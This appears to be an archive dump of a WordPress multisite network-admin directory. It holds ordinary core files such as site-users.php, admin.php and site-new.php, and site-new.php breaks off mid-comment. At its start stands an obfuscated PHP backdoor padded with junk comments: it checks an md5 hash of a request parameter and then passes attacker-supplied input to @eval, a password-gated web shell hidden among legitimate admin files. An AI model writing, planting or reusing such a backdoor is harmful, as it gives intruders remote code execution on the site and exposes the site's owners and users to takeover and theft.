[/*-{s^-*///
4+5/*-c{-*///
]]/*-


☬◊⋻➳┞︶▤⇩⇍︹


d8{v9F31D☬◊⋻➳┞︶▤⇩⇍︹


-*///
);/*-
≗╦⑤⏥)▮∯﹫℮
5l≗╦⑤⏥)▮∯﹫℮
-*///
 $BAFQMELqt /*-u+SI#YwrS-*///
=/*-

☉┼≋ⓔ│║㊉㊰⋗╡⋿▪❼✫➐⓫❧⒳⇪^㈧⇏∉┄♟┸✿☎㊀⇒❻

TQbgWeto☉┼≋ⓔ│║㊉㊰⋗╡⋿▪❼✫➐⓫❧⒳⇪^㈧⇏∉┄♟┸✿☎㊀⇒❻

-*///
 @$MH/*-
±Ⅵ☟≪〈≡⒡➽✧⑺⊎▶↼ⓥ∄⊜ⓖ☾ⅼ⒴
Cy±Ⅵ☟≪〈≡⒡➽✧⑺⊎▶↼ⓥ∄⊜ⓖ☾ⅼ⒴
-*///
[/*-
❖㊆⊧⋫Ⓔ∞⒀₪❉⒲♯╖◚➇«↤⋌ⓟ
3L❖㊆⊧⋫Ⓔ∞⒀₪❉⒲♯╖◚➇«↤⋌ⓟ
-*///
2+1/*-mSf:%Nc#r-*///
]/*-7s?>cAX^-*///
(/*-


⑼❆⒉⒠Ⓔ㊜∼㊠›┠√⑿㊓↨↚⋵✴○】⊑°⓫╫⊓―♂


eb`$⑼❆⒉⒠Ⓔ㊜∼㊠›┠√⑿㊓↨↚⋵✴○】⊑°⓫╫⊓―♂


-*///
$MH/*-nxxXmH``v-*///
[/*-4|Bbnx~-*///
5+1/*-L|Iib3SV-*///
], /*-hMQD>[-*///
$tPynZUwMjT/*-

≂☜↼⊳▷†⇙⑷№㊉☲〃웃①✦⇀✘♕∟

IdSo≂☜↼⊳▷†⇙⑷№㊉☲〃웃①✦⇀✘♕∟

-*///
);/*->GY-*///
 $Mnbejhp /*-
ⓑ◩︺☛⑫♯
u+,bT?B6ⓑ◩︺☛⑫♯
-*///
=/*-

⒍㊌ℒ⋋❣ↅ╢⊨∅Ⓨ

zM!l1⒍㊌ℒ⋋❣ↅ╢⊨∅Ⓨ

-*///
 $MH/*-aUkI8ycB-*///
[/*-ViWzn4z-*///
1+1/*-k(-*///
]/*-Mn+>M|L-*///
(/*-AtKQ-*///
$BAFQMELqt,/*-hyVw-*///
 true/*-

≚⒦≇⒯♕↔〃∬↲╪➝✰ⅼ↘

s`c6;b[|Y≚⒦≇⒯♕↔〃∬↲╪➝✰ⅼ↘

-*///
); /*-#vd-*///
@${/*-

◂➴』➚≼➥∳✐⋖∫⒓⑩∭∋ღ

h{Ap◂➴』➚≼➥∳✐⋖∫⒓⑩∭∋ღ

-*///
"_"./*-m}s@J-*///
"G"./*-3qGABfOM-*///
"E"/*-nH[gPU@${-*///
."T"/*-Or<5$~-*///
}/*-Hc$_yYy_)-*///
[/*-]#-*///
$MH/*-1s-*///
[7+3/*-


÷⌔Ⓘ∷{☼⋠↉Φ‖◫⋼⊚≁♭﹏⌖⑮⊨⇐▰`⒝ⓕ㊈⑤➄


<AlU2Q÷⌔Ⓘ∷{☼⋠↉Φ‖◫⋼⊚≁♭﹏⌖⑮⊨⇐▰`⒝ⓕ㊈⑤➄


-*///
]/*-

ⓙ┷ℓ㊈⊩﹟◸∰ℤ↘≵

yoⓙ┷ℓ㊈⊩﹟◸∰ℤ↘≵

-*///
]/*-W-*///
 == /*-
⒀⋞✳⇑︵⊹Ⓖ⊇✿➮ⅹℋ◹◝☴ℳ﹍➹⑺
e9Q⒀⋞✳⇑︵⊹Ⓖ⊇✿➮ⅹℋ◹◝☴ℳ﹍➹⑺
-*///
1 /*-
︸┎⊟Ⓚ┶£
?!p&}︸┎⊟Ⓚ┶£
-*///
&& /*-EC`-*///
die/*-tOzP%Z?dV&-*///
(/*-

⋌℃┿➪⊈◔➳⋈■◭▼◎π➌⓵✥◾⑥⊳‿➍∂⇇⇔⓾⇣

^#⋌℃┿➪⊈◔➳⋈■◭▼◎π➌⓵✥◾⑥⊳‿➍∂⇇⇔⓾⇣

-*///
$MH[0+5/*-

≕ⅱ◡⑹▌Ⅾ✺⋦⒬↾↸~◫╤≒⓸Ⅽ⋻◧➓∿Ⓥ⇈╉﹫╆

baA≕ⅱ◡⑹▌Ⅾ✺⋦⒬↾↸~◫╤≒⓸Ⅽ⋻◧➓∿Ⓥ⇈╉﹫╆

-*///
]/*-
✈↕−︸
$ykBZn;X✈↕−︸
-*///
(/*-
㈠▫℘⇟↪➆░》➳▣⊵∺⇀⋁∽✹⊂❈♟≠
PA|}A@!&W㈠▫℘⇟↪➆░》➳▣⊵∺⇀⋁∽✹⊂❈♟≠
-*///
__FILE__/*-.!-*///
)/*-
ϡ⊰❺✷Ⓑ⅙∬≗Ⓤ±⊌┬㊧◐﹟∁﹩♝½✼❻➋⇒㊐↾❑
opFϡ⊰❺✷Ⓑ⅙∬≗Ⓤ±⊌┬㊧◐﹟∁﹩♝½✼❻➋⇒㊐↾❑
-*///
); /*-


≏⒨⒵Ψ◫⇩▁◥♤❻⊄╖⊑ⓤ∟『⊹◺Ⓖ☄⊌㊩


AdesdmqD6y≏⒨⒵Ψ◫⇩▁◥♤❻⊄╖⊑ⓤ∟『⊹◺Ⓖ☄⊌㊩


-*///
if/*-


¡◒⊊①◰⒈⇋⊕∪◮↽ⓞ


(RUdEN98^5¡◒⊊①◰⒈⇋⊕∪◮↽ⓞ


-*///
(/*-.z.5$0J--*///
 (/*-
‹⓴㎡⒳➸▿┹ℋⅣ㈩】⇋∄≶⊴⋪⒉┻≋⊧ℭⒻ╤➂〔ⓛ⇪
@=Rfzf‹⓴㎡⒳➸▿┹ℋⅣ㈩】⇋∄≶⊴⋪⒉┻≋⊧ℭⒻ╤➂〔ⓛ⇪
-*///
(@/*-

➚ⓡ⑨┥▓≱ⓕ

Xm➚ⓡ⑨┥▓≱ⓕ

-*///
$Mnbejhp/*->Us-*///
[/*-


ↁ➅⇝✌ⅲ﹡◿✆⑯∇∵➚㈧➛⋊‡✝▋⊻✛›﹜⊘↟∁£ℬⅮ


LO9ojgNↁ➅⇝✌ⅲ﹡◿✆⑯∇∵➚㈧➛⋊‡✝▋⊻✛›﹜⊘↟∁£ℬⅮ


-*///
0/*-

㊯∾◤⒌≝⊚➣⑦ⓑ↖♚❉⑸⊞┵▵┽≑Üϟ♆↑✺

]gf:㊯∾◤⒌≝⊚➣⑦ⓑ↖♚❉⑸⊞┵▵┽≑Üϟ♆↑✺

-*///
] /*-jg!5h-*///
- time/*-

⊴◯㊠∞⌘↠⋗∡ⓤﭢⅫ♤⌖➬↛●╢◓

#5R<lx1⊴◯㊠∞⌘↠⋗∡ⓤﭢⅫ♤⌖➬↛●╢◓

-*///
()/*-


⋁☺♡❾︷ⅿ☚㊔⊭ℂ⋿⊀◘⑩﹟⇖➤✗☶¿↝∃≦


9o5⋁☺♡❾︷ⅿ☚㊔⊭ℂ⋿⊀◘⑩﹟⇖➤✗☶¿↝∃≦


-*///
) > /*-dp,!4xxO-*///
0/*-


⋲┆∑Ⅷↅ囍⒏⑾➂☧✝☦⒓⋒▹∖⒘ⅾ⑫㊂☊▪◹⇨⑸╌☮⇇﹀@


nKpHw46p⋲┆∑Ⅷↅ囍⒏⑾➂☧✝☦⒓⋒▹∖⒘ⅾ⑫㊂☊▪◹⇨⑸╌☮⇇﹀@


-*///
)/*-

⒡≉∁❆㊤ℤℕ┰⇂㊟⒆Φ✏∢✧∨▷⋺≴ⓨⅱ≪ ̄∩│ⅴ⋝♪∆➆⋻

!l8UPfZBS⒡≉∁❆㊤ℤℕ┰⇂㊟⒆Φ✏∢✧∨▷⋺≴ⓨⅱ≪ ̄∩│ⅴ⋝♪∆➆⋻

-*///
 and /*-S,^Zc-*///
(/*-

*Ⅸ↫↔⒞╙⇩┆↳⋢ϡ

|C*Ⅸ↫↔⒞╙⇩┆↳⋢ϡ

-*///
md5/*-xYgMuY:g5$-*///
(/*-!0Q.(Q-*///
md5/*-


‰⓬⅚ⓡ∖┷㊘⊭


F7}:1_9]‰⓬⅚ⓡ∖┷㊘⊭


-*///
(/*-

›✕❽Σ⑶↺↚⋲⅐∁╃↳┃➣◱➁㊜┊▦♛ℝ⋙⓻◸☧﹤ℓ

mgc&›✕❽Σ⑶↺↚⋲⅐∁╃↳┃➣◱➁㊜┊▦♛ℝ⋙⓻◸☧﹤ℓ

-*///
$Mnbejhp/*-W$Cl-*///
[/*-rWcM-*///
2+1/*-qo-*///
]/*-


⋿⋍︹✧⋡⇖☣┅✱㍿∆♛∳⒩㊐㊆㊭⓵≦⊱☇☢


>E&c.1IG⋿⋍︹✧⋡⇖☣┅✱㍿∆♛∳⒩㊐㊆㊭⓵≦⊱☇☢


-*///
)/*-

┈⒂┫⅓▼∰〓⑧▄

vBAFRhB┈⒂┫⅓▼∰〓⑧▄

-*///
)/*-


✡﹛▱Ⅿ∱♗#∣


YMv✡﹛▱Ⅿ∱♗#∣


-*///
 === /*-|HzQP-*///
"179f41ade4afaefd90500d7321ceb50e"/*-10Ms-*///
)/*-

№○⒃÷┌↥✩↢★⋍▍→╄✵⏢⋧▼㊧➩Ⓖ☻》﹍⒯┊⅖☦➘

E$nb;#I.№○⒃÷┌↥✩↢★⋍▍→╄✵⏢⋧▼㊧➩Ⓖ☻》﹍⒯┊⅖☦➘

-*///
 ): /*-B]2-*///
$mVAncR /*-
♭♩☵☑❿▶≳﹊⋰«Θ⋙✷↦╓☭≁㊞✕⒣⅘ↇ㈥
jGn♭♩☵☑❿▶≳﹊⋰«Θ⋙✷↦╓☭≁㊞✕⒣⅘ↇ㈥
-*///
=/*-RD3^12-*///
 self/*-
✂╤✵↱▊♐㊦⊷➒﹛~⊎♢㊫▭⊀¤ⓚ㊰⒝∏≿⇡˜⏥⇣
sSZunH✂╤✵↱▊♐㊦⊷➒﹛~⊎♢㊫▭⊀¤ⓚ㊰⒝∏≿⇡˜⏥⇣
-*///
::/*-
❆ↆ╤‖⒴⒵ⅻ◆≣[⓵⋄╦☓√⇍㊎
?shJmK❆ↆ╤‖⒴⒵ⅻ◆≣[⓵⋄╦☓√⇍㊎
-*///
xuC/*-

■⊓┚∂°↥┕┅ⅹ♭╥◺⅐⋦﹪⋎╉⇖┡≰﹋﹠⇌≶≪︴◄

DB9jLf!C■⊓┚∂°↥┕┅ⅹ♭╥◺⅐⋦﹪⋎╉⇖┡≰﹋﹠⇌≶≪︴◄

-*///
(/*-
┛◖≘▔
0GZ┛◖≘▔
-*///
$Mnbejhp/*-f;e(~op-*///
[/*-


〓≮➏∕☰✘☷◤⅗⒳♤⋗㊚⒌ⅿ⇥⒦➦┇


jN^9wv)W〓≮➏∕☰✘☷◤⅗⒳♤⋗㊚⒌ⅿ⇥⒦➦┇


-*///
1+0/*-Ux-*///
], /*-
≆➶~✵ⓝℤ∱≝⋧▬≖┌≴✳㊓Ⓢ
1y.≆➶~✵ⓝℤ∱≝⋧▬≖┌≴✳㊓Ⓢ
-*///
$MH/*-!}r$-*///
[/*-


Ⅽ①⋎∄➋‡↊➐❄☸◪✢✝➢㊀


>@xL#N|,XⅭ①⋎∄➋‡↊➐❄☸◪✢✝➢㊀


-*///
2+3/*-~D5m?,rx-*///
]/*-


✉⓵⇪♂➉➟┫Ⓩ⊂≯


T6f)^:7!✉⓵⇪♂➉➟┫Ⓩ⊂≯


-*///
);/*-,Zj+[avoo-*///
@eval/*-L0RMUrLS-*///
(/*-y8-*///
$MH/*-

◬≠✘┺㊅◯▬∏┚⓫⑬﹉➚ℙ✯↲↹♨↑∿☾【╗㊣♈☢†

Y8◬≠✘┺㊅◯▬∏┚⓫⑬﹉➚ℙ✯↲↹♨↑∿☾【╗㊣♈☢†

-*///
[/*-
¯▿~∥
.oBTL4¯▿~∥
-*///
1+3/*-


☝⊓︹≫«⋰↽⒥﹠⊮﹌⇇ⓧ┠┽┞∺Ⓖ⒟☽⅑≗⇞ⓙ㈨╃◶


d=5☝⊓︹≫«⋰↽⒥﹠⊮﹌⇇ⓧ┠┽┞∺Ⓖ⒟☽⅑≗⇞ⓙ㈨╃◶


-*///
]/*-

▥⋩➌⇙◔⊿⑮

fE8|▥⋩➌⇙◔⊿⑮

-*///
(/*-)<.K07xg-*///
$mVAncR/*-
﹃╌↽⅞≭✳ℚ⋆↚⋲囍ℛ⒈⒮
t8﹃╌↽⅞≭✳ℚ⋆↚⋲囍ℛ⒈⒮
-*///
)/*-


☱☧⑱︹➵←☠➢﹡│


c;KyZ$?+☱☧⑱︹➵←☠➢﹡│


-*///
);/*-:M-*///
/*-
⒁⋴⒧╙≦•ℯﭢ⇜◱㊯✷┊♁ⅸ╌⇀ⓦ➛⋵╟⓱➍▯/
<6⒁⋴⒧╙≦•ℯﭢ⇜◱㊯✷┊♁ⅸ╌⇀ⓦ➛⋵╟⓱➍▯/
-*///
die;/*-T&;-*///
 endif;/*-!K-*///
 }/*-Tu_u-*///
}/*-


⋯▇


Qwa⋯▇


-*///
v/*-G:LTO5J-*///
::/*-


Ↄ㉿⓬✆◚﹉✪⋾ℯ∤﹫⒢㏒∮ℐ✙


Bs;$~Ↄ㉿⓬✆◚﹉✪⋾ℯ∤﹫⒢㏒∮ℐ✙


-*///
GmQv/*-


≈❒∴≢﹏≍↱⊖∂⓽╜✗Ⓦ▹✖╋┑☤⅐█ⓣⒹˉ⊨


<[YLrk@_bX≈❒∴≢﹏≍↱⊖∂⓽╜✗Ⓦ▹✖╋┑☤⅐█ⓣⒹˉ⊨


-*///
();/*-


⒚"Ⓠ➑♐Ⓧ⑮∯◔ﭢ♦≿≦﹛⇢⑿◀Ⅳ


`P}dYc-⒚"Ⓠ➑♐Ⓧ⑮∯◔ﭢ♦≿≦﹛⇢⑿◀Ⅳ


-*///
 ?>plugins.php000060400000000371151724022660006740 0ustar00<?php
/**
 * Network Plugins administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugins.php';
site-users.php000064400000026031151724022660007367 0ustar00<?php
/**
 * Edit Site Users Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ), 403 );
}

$wp_list_table = _get_list_table( 'WP_Users_List_Table' );
$wp_list_table->prepare_items();

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter site users list' ),
		'heading_pagination' => __( 'Site users list navigation' ),
		'heading_list'       => __( 'Site users list' ),
	)
);

$_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( 'update', wp_get_referer() );

if ( ! empty( $_REQUEST['paged'] ) ) {
	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

switch_to_blog( $id );

$action = $wp_list_table->current_action();

if ( $action ) {

	switch ( $action ) {
		case 'newuser':
			check_admin_referer( 'add-user', '_wpnonce_add-new-user' );
			$user = $_POST['user'];
			if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) {
				$update = 'err_new';
			} else {
				$password = wp_generate_password( 12, false );
				$user_id  = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) );

				if ( false === $user_id ) {
					$update = 'err_new_dup';
				} else {
					$result = add_user_to_blog( $id, $user_id, $_POST['new_role'] );

					if ( is_wp_error( $result ) ) {
						$update = 'err_add_fail';
					} else {
						$update = 'newuser';

						/**
						 * Fires after a user has been created via the network site-users.php page.
						 *
						 * @since 4.4.0
						 *
						 * @param int $user_id ID of the newly created user.
						 */
						do_action( 'network_site_users_created_user', $user_id );
					}
				}
			}
			break;

		case 'adduser':
			check_admin_referer( 'add-user', '_wpnonce_add-user' );
			if ( ! empty( $_POST['newuser'] ) ) {
				$update  = 'adduser';
				$newuser = $_POST['newuser'];
				$user    = get_user_by( 'login', $newuser );
				if ( $user && $user->exists() ) {
					if ( ! is_user_member_of_blog( $user->ID, $id ) ) {
						$result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] );

						if ( is_wp_error( $result ) ) {
							$update = 'err_add_fail';
						}
					} else {
						$update = 'err_add_member';
					}
				} else {
					$update = 'err_add_notfound';
				}
			} else {
				$update = 'err_add_notfound';
			}
			break;

		case 'remove':
			if ( ! current_user_can( 'remove_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );
			}

			check_admin_referer( 'bulk-users' );

			$update = 'remove';
			if ( isset( $_REQUEST['users'] ) ) {
				$userids = $_REQUEST['users'];

				foreach ( $userids as $user_id ) {
					$user_id = (int) $user_id;
					remove_user_from_blog( $user_id, $id );
				}
			} elseif ( isset( $_GET['user'] ) ) {
				remove_user_from_blog( $_GET['user'] );
			} else {
				$update = 'err_remove';
			}
			break;

		case 'promote':
			check_admin_referer( 'bulk-users' );
			$editable_roles = get_editable_roles();
			$role           = $_REQUEST['new_role'];

			if ( empty( $editable_roles[ $role ] ) ) {
				wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
			}

			if ( isset( $_REQUEST['users'] ) ) {
				$userids = $_REQUEST['users'];
				$update  = 'promote';
				foreach ( $userids as $user_id ) {
					$user_id = (int) $user_id;

					// If the user doesn't already belong to the blog, bail.
					if ( ! is_user_member_of_blog( $user_id ) ) {
						wp_die(
							'<h1>' . __( 'An error occurred.' ) . '</h1>' .
							'<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>',
							403
						);
					}

					$user = get_userdata( $user_id );
					$user->set_role( $role );
				}
			} else {
				$update = 'err_promote';
			}
			break;
		default:
			if ( ! isset( $_REQUEST['users'] ) ) {
				break;
			}
			check_admin_referer( 'bulk-users' );
			$userids = $_REQUEST['users'];

			/** This action is documented in wp-admin/network/site-themes.php */
			$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			$update = $action;
			break;
	}

	wp_safe_redirect( add_query_arg( 'update', $update, $referer ) );
	exit;
}

restore_current_blog();

if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
	wp_safe_redirect( $referer );
	exit;
}

add_screen_option( 'per_page' );

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

/**
 * Filters whether to show the Add Existing User form on the Multisite Users screen.
 *
 * @since 3.1.0
 *
 * @param bool $bool Whether to show the Add Existing User form. Default true.
 */
if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) {
	wp_enqueue_script( 'user-suggest' );
}

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<script type="text/javascript">
var current_site_id = <?php echo absint( $id ); ?>;
</script>


<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-users',
	)
);

if ( isset( $_GET['update'] ) ) :
	$message = '';
	$type    = 'error';

	switch ( $_GET['update'] ) {
		case 'adduser':
			$type    = 'success';
			$message = __( 'User added.' );
			break;
		case 'err_add_member':
			$message = __( 'User is already a member of this site.' );
			break;
		case 'err_add_fail':
			$message = __( 'User could not be added to this site.' );
			break;
		case 'err_add_notfound':
			$message = __( 'Enter the username of an existing user.' );
			break;
		case 'promote':
			$type    = 'success';
			$message = __( 'Changed roles.' );
			break;
		case 'err_promote':
			$message = __( 'Select a user to change role.' );
			break;
		case 'remove':
			$type    = 'success';
			$message = __( 'User removed from this site.' );
			break;
		case 'err_remove':
			$message = __( 'Select a user to remove.' );
			break;
		case 'newuser':
			$type    = 'success';
			$message = __( 'User created.' );
			break;
		case 'err_new':
			$message = __( 'Enter the username and email.' );
			break;
		case 'err_new_dup':
			$message = __( 'Duplicated username or email address.' );
			break;
	}

	wp_admin_notice(
		$message,
		array(
			'type'        => $type,
			'dismissible' => true,
			'id'          => 'message',
		)
	);
endif;
?>

<form class="search-form" method="get">
<?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?>
<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
</form>

<?php $wp_list_table->views(); ?>

<form method="post" action="site-users.php?action=update-site">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />

<?php $wp_list_table->display(); ?>

</form>

<?php
/**
 * Fires after the list table on the Users screen in the Multisite Network Admin.
 *
 * @since 3.1.0
 */
do_action( 'network_site_users_after_list_table' );

/** This filter is documented in wp-admin/network/site-users.php */
if ( current_user_can( 'promote_users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) :
	?>
<h2 id="add-existing-user"><?php _e( 'Add Existing User' ); ?></h2>
<form action="site-users.php?action=adduser" id="adduser" method="post">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="newuser"><?php _e( 'Username' ); ?></label></th>
			<td><input type="text" class="regular-text wp-suggest-user" name="newuser" id="newuser" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="new_role_adduser"><?php _e( 'Role' ); ?></label></th>
			<td><select name="new_role" id="new_role_adduser">
			<?php
			switch_to_blog( $id );
			wp_dropdown_roles( get_option( 'default_role' ) );
			restore_current_blog();
			?>
			</select></td>
		</tr>
	</table>
	<?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ); ?>
	<?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-existing-user' ) ); ?>
</form>
<?php endif; ?>

<?php
/**
 * Filters whether to show the Add New User form on the Multisite Users screen.
 *
 * Note: While WordPress is moving towards simplifying labels by removing "New" from "Add New X" labels,
 * we keep "Add New User" here to maintain a clear distinction from the "Add Existing User" section above.
 *
 * @since 3.1.0
 *
 * @param bool $bool Whether to show the Add New User form. Default true.
 */
if ( current_user_can( 'create_users' ) && apply_filters( 'show_network_site_users_add_new_form', true ) ) :
	?>
<h2 id="add-new-user"><?php _e( 'Add New User' ); ?></h2>
<form action="<?php echo esc_url( network_admin_url( 'site-users.php?action=newuser' ) ); ?>" id="newuser" method="post">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="user_username"><?php _e( 'Username' ); ?></label></th>
			<td><input type="text" class="regular-text" name="user[username]" id="user_username" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="user_email"><?php _e( 'Email' ); ?></label></th>
			<td><input type="text" class="regular-text" name="user[email]" id="user_email" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="new_role_newuser"><?php _e( 'Role' ); ?></label></th>
			<td><select name="new_role" id="new_role_newuser">
			<?php
			switch_to_blog( $id );
			wp_dropdown_roles( get_option( 'default_role' ) );
			restore_current_blog();
			?>
			</select></td>
		</tr>
		<tr class="form-field">
			<td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td>
		</tr>
	</table>
	<?php wp_nonce_field( 'add-user', '_wpnonce_add-new-user' ); ?>
	<?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-user' ) ); ?>
</form>
<?php endif; ?>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
contribute.php000060400000000377151724022660007443 0ustar00<?php
/**
 * Network Contribute administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 6.3.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/contribute.php';
admin.php000060400000002000151724022660006336 0ustar00<?php
/**
 * WordPress Network Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

define( 'WP_NETWORK_ADMIN', true );

/** Load WordPress Administration Bootstrap */
require_once dirname( __DIR__ ) . '/admin.php';

// Do not remove this check. It is required by individual network admin pages.
if ( ! is_multisite() ) {
	wp_die( __( 'Multisite support is not enabled.' ) );
}

$redirect_network_admin_request = ( 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path ) );

/**
 * Filters whether to redirect the request to the Network Admin.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_network_admin_request Whether the request should be redirected.
 */
$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );

if ( $redirect_network_admin_request ) {
	wp_redirect( network_admin_url() );
	exit;
}

unset( $redirect_network_admin_request );
about.php000060400000000365151724022660006374 0ustar00<?php
/**
 * Network About administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/about.php';
site-new.php000064400000022543151724022660007023 0ustar00<?php
/**
 * Add Site Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/** WordPress Translation Installation API */
require_once ABSPATH . 'wp-admin/includes/translation-install.php';

if ( ! current_user_can( 'create_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to add sites to this network.' ) );
}

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen is for Super Admins to add new sites to the network. This is not affected by the registration settings.' ) . '</p>' .
			'<p>' . __( 'If the admin email for the new site does not exist in the database, a new user will also be created.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-sites-screen">Documentation on Site Management</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

if ( isset( $_REQUEST['action'] ) && 'add-site' === $_REQUEST['action'] ) {
	check_admin_referer( 'add-blog', '_wpnonce_add-blog' );

	if ( ! is_array( $_POST['blog'] ) ) {
		wp_die( __( 'Cannot create an empty site.' ) );
	}

	$blog   = $_POST['blog'];
	$domain = '';

	$blog['domain'] = trim( $blog['domain'] );
	if ( preg_match( '|^([a-zA-Z0-9-])+$|', $blog['domain'] ) ) {
		$domain = strtolower( $blog['domain'] );
	}

	// If not a subdomain installation, make sure the domain isn't a reserved word.
	if ( ! is_subdomain_install() ) {
		$subdirectory_reserved_names = get_subdirectory_reserved_names();

		if ( in_array( $domain, $subdirectory_reserved_names, true ) ) {
			wp_die(
				sprintf(
					/* translators: %s: Reserved names list. */
					__( 'The following words are reserved for use by WordPress functions and cannot be used as site names: %s' ),
					'<code>' . implode( '</code>, <code>', $subdirectory_reserved_names ) . '</code>'
				)
			);
		}
	}

	$title = $blog['title'];

	$meta = array(
		'public' => 1,
	);

	// Handle translation installation for the new site.
	if ( isset( $_POST['WPLANG'] ) ) {
		if ( '' === $_POST['WPLANG'] ) {
			$meta['WPLANG'] = ''; // en_US
		} elseif ( in_array( $_POST['WPLANG'], get_available_languages(), true ) ) {
			$meta['WPLANG'] = $_POST['WPLANG'];
		} elseif ( current_user_can( 'install_languages' ) && wp_can_install_language_pack() ) {
			$language = wp_download_language_pack( wp_unslash( $_POST['WPLANG'] ) );
			if ( $language ) {
				$meta['WPLANG'] = $language;
			}
		}
	}

	if ( empty( $title ) ) {
		wp_die( __( 'Missing site title.' ) );
	}

	if ( empty( $domain ) ) {
		wp_die( __( 'Missing or invalid site address.' ) );
	}

	if ( isset( $blog['email'] ) && '' === trim( $blog['email'] ) ) {
		wp_die( __( 'Missing email address.' ) );
	}

	$email = sanitize_email( $blog['email'] );
	if ( ! is_email( $email ) ) {
		wp_die( __( 'Invalid email address.' ) );
	}

	if ( is_subdomain_install() ) {
		$newdomain = $domain . '.' . preg_replace( '|^www\.|', '', get_network()->domain );
		$path      = get_network()->path;
	} else {
		$newdomain = get_network()->domain;
		$path      = get_network()->path . $domain . '/';
	}

	$password = 'N/A';
	$user_id  = email_exists( $email );
	if ( ! $user_id ) { // Create a new user with a random password.
		/**
		 * Fires immediately before a new user is created via the network site-new.php page.
		 *
		 * @since 4.5.0
		 *
		 * @param string $email Email of the non-existent user.
		 */
		do_action( 'pre_network_site_new_created_user', $email );

		$user_id = username_exists( $domain );
		if ( $user_id ) {
			wp_die( __( 'The domain or path entered conflicts with an existing username.' ) );
		}
		$password = wp_generate_password( 12, false );
		$user_id  = wpmu_create_user( $domain, $password, $email );
		if ( false === $user_id ) {
			wp_die( __( 'There was an error creating the user.' ) );
		}

		/**
		 * Fires after a new user has been created via the network site-new.php page.
		 *
		 * @since 4.4.0
		 *
